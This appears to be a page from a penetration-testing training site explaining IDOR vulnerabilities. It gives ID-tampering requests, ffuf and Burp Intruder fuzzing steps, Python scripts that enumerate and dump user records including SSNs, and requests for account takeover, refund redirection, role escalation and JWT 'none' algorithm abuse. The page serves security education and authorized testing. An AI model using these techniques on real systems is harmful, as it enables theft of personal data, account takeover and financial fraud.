Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Insecure Direct Object Reference (IDOR)

Insecure Direct Object Reference (IDOR) is a web security vulnerability that occurs when an application exposes a direct reference to an internal implementation object, such as a database key or filename. Attackers can manipulate these references to access unauthorized data.

How It Works

IDOR vulnerabilities arise when an application uses user-supplied input to access objects directly without proper authorization checks. For example, consider this URL:

https://bank.com/account?id=12345

If the application doesn't verify that the logged-in user owns account 12345, an attacker could simply change the ID:

https://bank.com/account?id=12346

This could expose another user's account information if authorization checks are missing.

Detection

Manual Testing

URL Parameter Tests

Testing for IDOR in URL parameters by manipulating identifiers:

# Step 1: Identify direct object references
https://site.com/user/profile?id=123
https://site.com/api/document?doc_id=456
https://site.com/order/view?order=789

# Step 2: Change ID to another value
https://site.com/user/profile?id=124 # Increment by 1
https://site.com/api/document?doc_id=1 # Try minimal value
https://site.com/order/view?order=100 # Try different ranges

# Step 3: Observe response
# - Same access level: Vulnerable to IDOR
# - Different access: Check if sensitive data exposed
# - Error message: Authorization might be in place
# - 403/401: Proper access control exists

POST Body Tests

Testing IDOR in request bodies:

# Original request
POST /api/update-profile
{
"user_id": 123,
"email": "user@example.com"
}

# Modified request - Try changing user_id
POST /api/update-profile
{
"user_id": 124,
"email": "attacker@example.com"
}

# Array-based references
POST /api/delete-users
{
"ids": [123]
}

# Try adding other IDs
POST /api/delete-users
{
"ids": [123, 124, 125]
}

HTTP Header Tests

Testing for IDOR in HTTP headers:

# User-ID in custom headers
GET /api/profile HTTP/1.1
X-User-ID: 123
X-Account-ID: 456

# Try modifying header values
GET /api/profile HTTP/1.1
X-User-ID: 124
X-Account-ID: 457

# Authorization tokens with embedded IDs
Authorization: Bearer eyJ1c2VyX2lkIjoxMjN9...
# Decode, modify user_id, re-encode

Testing IDOR through cookie manipulation:

# Original cookie
Cookie: user_id=123; session=abc123

# Modified cookie
Cookie: user_id=124; session=abc123

# Base64 encoded cookies
Cookie: user_data=eyJ1c2VyX2lkIjoxMjN9
# Decode: {"user_id":123}
# Modify to: {"user_id":124}
# Encode and test

File Access Tests

Testing for IDOR in file operations:

# Document downloads
https://site.com/download?file=document_123.pdf
https://site.com/download?file=document_124.pdf

# Image access
https://site.com/images/user/123/avatar.jpg
https://site.com/images/user/124/avatar.jpg

# Backup files
https://site.com/backups/user_123_backup.zip
https://site.com/backups/user_124_backup.zip

API Endpoint Tests

Systematically testing API endpoints for IDOR:

# RESTful API patterns
GET /api/users/123 # Get user details
PUT /api/users/124 # Update different user
DELETE /api/users/125 # Delete different user

# Nested resources
GET /api/companies/1/employees/123 # Access employee
GET /api/companies/2/employees/123 # Try different company

# GraphQL queries
query {
user(id: 123) { email, phone, ssn }
# Try: user(id: 124)
}

Automated Discovery

Using Burp Suite

To learn how to use Burp Suite in detail, you can go to our related training page by click here.

# Step 1: Configure Burp Suite Intruder
1. Capture request with ID parameter
2. Send to Intruder (Ctrl+I)
3. Mark ID parameter as payload position: §123§

# Step 2: Configure payload
- Payload type: Numbers (sequential)
- From: 1, To: 10000, Step: 1

# Step 3: Set matching rules
- Grep Match: Look for sensitive keywords
- Filter by status codes
- Sort by response length

# Step 4: Analyze results
- Different response sizes indicate different data
- Same status codes might still contain different data
- Check response times for delays

Using FFUF

# Basic IDOR fuzzing with ffuf
ffuf -u https://target.com/api/user/FUZZ -w numbers.txt -mc 200

# Custom wordlist generation
seq 1 10000 > ids.txt
ffuf -u https://target.com/api/user/FUZZ -w ids.txt

# With authentication
ffuf -u https://target.com/api/user/FUZZ \
-w ids.txt \
-H "Authorization: Bearer TOKEN" \
-mc 200,301,302 \
-fs 0

# POST request fuzzing
ffuf -u https://target.com/api/user \
-w ids.txt \
-X POST \
-d '{"user_id":"FUZZ"}' \
-H "Content-Type: application/json"

Using Custom Scripts

# Python script for IDOR testing
import requests

base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer YOUR_TOKEN"}
valid_responses = []

for user_id in range(1, 1000):
url = base_url + str(user_id)
response = requests.get(url, headers=headers)

if response.status_code == 200:
# Check if response contains sensitive data
if "email" in response.text or "phone" in response.text:
valid_responses.append({
"id": user_id,
"status": response.status_code,
"length": len(response.text),
"data": response.json()
})
print(f"[+] Found: User ID {user_id}")

# Save results
with open("idor_results.json", "w") as f:
json.dump(valid_responses, f, indent=2)

Attack Vectors

Numeric ID Manipulation

Exploiting sequential numeric identifiers:

# Basic increment/decrement
Original: /api/invoice/1234
Test: /api/invoice/1235
Test: /api/invoice/1233

# Range testing
for id in {1..1000}; do
curl https://api.target.com/user/$id -H "Auth: token"
done

# Step-based testing
# Some systems skip IDs (e.g., 100, 200, 300)
for id in {100..10000..100}; do
curl https://api.target.com/order/$id
done

GUID/UUID Manipulation

Attacking seemingly random identifiers:

# UUID enumeration (if leaked elsewhere)
# UUIDs might be leaked in:
# - JavaScript files
# - API responses for other users
# - Public profiles
# - Email notifications

# Example leaked UUIDs
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440000
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440001

# Predictable UUID generation
# Some UUIDs are time-based (UUID v1)
# These can be predicted if you know the timestamp

Hash-Based ID Bypass

Exploiting weak hashing or encoding:

# MD5 hashed IDs
# If ID is MD5(user_id), you can generate your own
echo -n "123" | md5sum # 202cb962ac59075b964b07152d234b70
# Test: /api/user/202cb962ac59075b964b07152d234b70

# Base64 encoded IDs
echo "123" | base64 # MTIzCg==
echo "124" | base64 # MTI0Cg==
# Test: /api/user/MTI0Cg==

# URL-safe Base64
echo -n "user:123" | base64 # dXNlcjoxMjM=
echo -n "user:124" | base64 # dXNlcjoxMjQ=

Parameter Pollution

Using multiple parameters with the same name:

# Standard request
GET /api/profile?user_id=123

# Parameter pollution attempts
GET /api/profile?user_id=123&user_id=124
GET /api/profile?user_id=124&user_id=123
GET /api/profile?user_id[]=123&user_id[]=124

# JSON parameter pollution
POST /api/update
{
"user_id": 123,
"user_id": 124,
"email": "attacker@evil.com"
}

Mass Assignment

Exploiting missing input validation:

# Original intended request
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com"
}

# Adding unauthorized fields
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com",
"user_id": 124, # Try to modify another user
"role": "admin", # Try privilege escalation
"is_verified": true, # Try to bypass verification
"balance": 999999 # Try to modify sensitive data
}

Blind IDOR Exploitation

Exploiting IDOR when direct feedback isn't available:

# Delete operations
DELETE /api/user/123 # Your account - check if deleted
DELETE /api/user/124 # Other account - no direct feedback

# Time-based detection
# If operation takes longer, it might be processing
time curl -X DELETE https://api.target.com/user/124

# Out-of-band detection
DELETE /api/user/124
# Check:
# - Email notifications sent to victim
# - Webhook callbacks
# - Database logs (if you gain access later)

# State change verification
POST /api/friend-request?to_user=124
# Check victim's profile or friend list if accessible

Post-Exploitation

Data Enumeration

Systematically extracting data:

# Extract all user data
import requests
import json

base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer TOKEN"}
users_data = []

for user_id in range(1, 10000):
try:
response = requests.get(
f"{base_url}{user_id}",
headers=headers,
timeout=5
)

if response.status_code == 200:
user_data = response.json()
users_data.append(user_data)

# Extract sensitive fields
sensitive_info = {
"id": user_id,
"email": user_data.get("email"),
"phone": user_data.get("phone"),
"ssn": user_data.get("ssn"),
"address": user_data.get("address")
}
print(f"[+] User {user_id}: {sensitive_info}")

except Exception as e:
continue

# Save complete dump
with open("user_dump.json", "w") as f:
json.dump(users_data, f, indent=2)

Privilege Escalation

Exploiting IDOR for privilege escalation:

# Accessing admin functionality
GET /api/admin/users/123
GET /api/admin/settings

# Modifying user roles
PUT /api/user/124
{
"role": "admin",
"permissions": ["read", "write", "delete"]
}

# Accessing restricted resources
GET /api/company/1/financial-reports
GET /api/system/config

Account Takeover

Using IDOR to take over accounts:

# Password reset via IDOR
POST /api/reset-password
{
"user_id": 124,
"new_password": "attacker_password"
}

# Email change via IDOR
PUT /api/user/124/email
{
"new_email": "attacker@evil.com"
}

# Adding authentication method
POST /api/user/124/add-phone
{
"phone": "+1234567890"
}

Financial Fraud

Exploiting IDOR in financial operations:

# Modifying transaction amounts
PUT /api/transaction/123
{
"amount": 0.01,
"status": "completed"
}

# Accessing other users' payment methods
GET /api/user/124/payment-methods
POST /api/payment/charge
{
"user_id": 124,
"payment_method_id": "pm_abc123",
"amount": 100
}

# Refund manipulation
POST /api/refund
{
"transaction_id": 124,
"account_id": 999 # Attacker's account
}

Bypass Techniques

Weak Authorization Bypass

Bypassing insufficient authorization checks:

# Role-based bypass
# If authorization only checks role, not ownership
GET /api/admin/user/123 # Blocked
GET /api/user/123 # Check if accessible with user role

# HTTP Method bypass
GET /api/user/123 # Blocked
POST /api/user/123 # Try different method
HEAD /api/user/123 # Try HEAD request

Path Traversal Bypass

Using path manipulation to bypass checks:

# Directory traversal
GET /api/user/123
GET /api/user/../user/124
GET /api/user/./124

# Encoding bypass
GET /api/user/%2e%2e%2fuser%2f124
GET /api/user/..%2fuser%2f124

# Null byte injection (older systems)
GET /api/user/123%00/../../user/124

Content-Type Bypass

Changing content type to bypass validation:

# Original JSON request (blocked)
POST /api/update-profile
Content-Type: application/json
{"user_id": 124}

# Try XML
POST /api/update-profile
Content-Type: application/xml
<user>
<user_id>124</user_id>
</user>

# Try form data
POST /api/update-profile
Content-Type: application/x-www-form-urlencoded
user_id=124

Array Wrapping

Wrapping parameters in arrays:

# Blocked
{
"user_id": 124
}

# Try array wrapping
{
"user_id": [124]
}

# Try nested object
{
"user": {
"id": 124
}
}

# Try multiple values
{
"user_id": [123, 124]
}

Token Confusion

Exploiting token handling issues:

# Using expired tokens
# Some systems validate token but ignore expiry

# Using tokens from different endpoints
# Token from /api/v1/user might work on /api/v2/user

# Missing token validation
# Some endpoints might not validate token at all
curl https://api.target.com/user/124
# Try without Authorization header

# JWT algorithm confusion
# Change alg from RS256 to HS256
# Change alg to "none"

Wildcard Exploitation

Using wildcards in ID parameters:

# Wildcard in IDs
GET /api/user/*
GET /api/user/%
GET /api/user/_

# Regex exploitation
GET /api/user/.*
GET /api/user/[0-9]+

# Range specification
GET /api/users?ids=1-100
GET /api/users?ids=*

Common Tools

ToolDescriptionPrimary Use Case
Burp SuiteWeb vulnerability scannerIDOR discovery and exploitation
FFUFFast web fuzzerID enumeration
AutorizeBurp extensionAuthorization testing
AuthMatrixBurp extensionAccess control testing
InQLBurp extensionGraphQL IDOR testing
PostmanAPI testing toolManual IDOR testing